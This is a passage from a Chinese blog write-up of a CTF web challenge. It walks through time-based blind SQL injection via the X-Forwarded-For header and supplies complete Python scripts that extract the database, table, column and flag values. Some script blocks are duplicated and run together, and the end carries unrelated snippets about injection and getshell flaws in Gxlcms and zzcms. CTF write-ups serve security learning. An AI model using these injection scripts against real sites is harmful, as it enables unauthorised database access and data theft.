实验吧之【who are you?】(时间盲注)

地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php

这道题点开看见your ip is :xxx.xxx.xx.xxx

试了一些 最后发现是XFF注入

不过首先要进行ip伪造

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-add

发现X-Forwarded-For可以伪造。

题目说:

我要把攻击我的人都记录db中去!

猜测这是一个INSERT INTO的注入。

源码中sql语句可能是:

$sql="insert into client_ip (ip) values (‘$ip‘)";

所以这不能利用真值注入,报错注入等,只能尝试基于时间的注入。

第一种方法  python盲注脚本走起

提一下,这里需要用到select case when then语句

提交X-Forwarded-For:

1‘  and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and ‘1‘=‘1;

ok  python脚本跑即可

基于时间盲注   数据库名长度判断

import requests

length = 0;
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
for i in range(1,20):
    headers = {"X-Forwarded-For":"1‘  and case when (length((SELECT concat(database())))=%d) then sleep(5) else sleep(0) end and ‘1‘=‘1" %(i)}
    try:
        r = requests.get(url, headers = headers, timeout=5)
        print(r.text)
    except:
        length = i
        break

print("length is :%d"%length)

数据库名判断

import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
database = ‘‘
for i in range(1,5):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘  and case when (substring((select database()) from %d for 1)=‘%s‘) then sleep(5) else sleep(0) end and ‘1‘=‘1" %(i,each)}
        try:
            r = requests.get(url, headers = headers, timeout=5)
        except:
            database += each
            print("database的第%d位是%s"%(i,each))
            break

print("database is %s"%database)

当前也可以把全部数据库跑出来

import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
databases = []
database = ‘‘
for i in range(1,20):#控制数据库个数
	for j in range(1,10):#控制当前数据库位数
		for each in guess:
			headers = {"X-Forwarded-For":"1‘  and case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)=‘%s‘) then sleep(5) else sleep(0) end and ‘1‘=‘1" %(i,j,each)}
			try:
				r = requests.get(url, headers = headers, timeout=5)
			except:
				database += each
				break

	if database != ‘‘:
		print("第%d个数据库是%s"%(i,database))
		databases.append(database)
	database = ‘‘

print("databases is %s"%databases)

得到数据库名为web4 接下来进行表名注入

import requests

##guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
length = 0
for i in range(1,20):
    headers = {"X-Forwarded-For":"1‘ and case when(substring((select group_concat(table_name separator ‘;‘) from information_schema.tables where table_schema=‘web4‘) from %s for 1)=‘‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i)
    }
    try:
        r = requests.get(url, headers = headers, timeout=5)
        print(r.text)
    except:
        length = i-1
        break
print("length is %s"%length)

表长度是14  爆表名

import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
tables = ‘‘
for i in range(1,15):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘ and case when(substring((select group_concat(table_name separator ‘;‘) from information_schema.tables where table_schema=‘web4‘) from %s for 1)=‘%s‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            tables += each
            print("table is %s"%tables)
            break

print("OK")import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
tables = ‘‘
for i in range(1,15):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘ and case when(substring((select group_concat(table_name separator ‘;‘) from information_schema.tables where table_schema=‘web4‘) from %s for 1)=‘%s‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            tables += each
            print("table is %s"%tables)
            break

print("OK")

发现存在flag表 接着就是爆字段长度=====》字段名=====》字段值

字段长度:

import requests

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
length = 0
for i in range(1,15):
    headers = {"X-Forwarded-For":"1‘ and case when(substring((select group_concat(column_name separator ‘;‘) from information_schema.columns where table_schema=‘web4‘ and table_name=‘flag‘) from %s for 1)=‘‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i)
    }
    try:
        r = requests.get(url, headers = headers, timeout=5)

    except:
        length += i
        break
print("length is %d"%length)
print("OK")

字段长度为5  爆字段名

import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
colunm = ‘‘
for i in range(1,6):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘ and case when(substring((select group_concat(column_name separator ‘;‘) from information_schema.columns where table_schema=‘web4‘ and table_name=‘flag‘) from %s for 1)=‘%s‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            colunm += each
            print("colunm is %s"%colunm)
            break

print("OK")

得出字段名为flag 最后爆字符值~

爆字段值(flag值)

import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
flag = ‘‘
for i in range(1,50):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘ and case when(substring((select flag from web4.flag) from %s for 1)=‘%s‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            flag += each
            print("flag is %s"%flag)
            break

print("OK")import requests

guess=‘[email protected]_.{}‘
url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
flag = ‘‘
for i in range(1,50):
    for each in guess:
        headers = {"X-Forwarded-For":"1‘ and case when(substring((select flag from web4.flag) from %s for 1)=‘%s‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            flag += each
            print("flag is %s"%flag)
            break

print("OK")

原文地址:https://www.cnblogs.com/-qing-/p/11072819.html

时间: 2024-10-03 20:26:03

实验吧之【who are you?】(时间盲注)的相关文章

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空

zzcms8.2#任意用户密码重置#del.php时间盲注#复现

00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品招商型) php-5.4.45 . mysql-5.5.53 01x0 任意用户密码重置 01x1 任意用户密码重置方式一 话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~ 先注册个账号,然后首页点击找回密码. 地址:http://localhost/on

SQL盲注--时间盲注

SQL盲注--时间盲注 原文地址:https://www.cnblogs.com/blogs-1024/p/11261651.html

sql注入之limit注入和五种时间盲注姿势

0x00前言 limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客..这里还是记录一下吧以后忘了方便复习. 0x01 limit基础知识 照抄前面的: 这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233 使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset LIMIT 子句可以被用于强制 SELECT

实验吧CTF who are you?基于时间盲注

这是我第三次接触时间盲注,所以就写一个博文和大家分享一下,还能检验我对知识的掌握程度.?( ′???` ) 点开网址是把你的真实IP地址打印出来!然后立马看网页源代码什么发现都没有! 现在还没有什么想法,用burpsuite抓一下,看看能不能有什么发现 没有什么发现,但是当我们回想打开网页爆出我们的真实ip地址,既然是我们的真实ip,那么在后端应该调用了类似$_SERVER['HTTP_X_FORWARDED_FOR']之类的函数得到我们的真实ip地址.那么我们就用bp来构造一个含有x-forw

实验吧之【who are you?】(时间盲注)补充

第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr

时间盲注脚本.py

时间盲注脚本 #encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {} payloads = '[email protected]_.ABCDEFGHIJKLMNOPQRST' print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localt

时间盲注poc编写

当测试注入漏洞时,页面没有返还结果,连报错都没有时,可以考虑延时. 比如这条语句 ?type=1 and if(length(database())=%d,sleep(5),1) 如果这条语句被服务器正确执行,那么服务器返回数据强要比平时慢5秒,通过比较时间来判断正确还是错误. 这就给我们编程提供了思路,如果要猜测一个字段可以先猜测其长度,在一个猜每一个字符 这次依旧是webug的一道练习题 mport requests import time payloads = 'qwertyuio[ema

hdcms时间盲注

吃了一天鸡实在无聊 随便找了个xx的cms 玩玩 洞很简单 在CTF中也经常考 记录下以后留作例子用吧 if (!$user = M("user")->join("__user__ u JOIN __role__ r ON u.rid=r.rid")->find("username='{$username}'")) { $this->error = '帐号不存在'; return false; } if (md5($passwo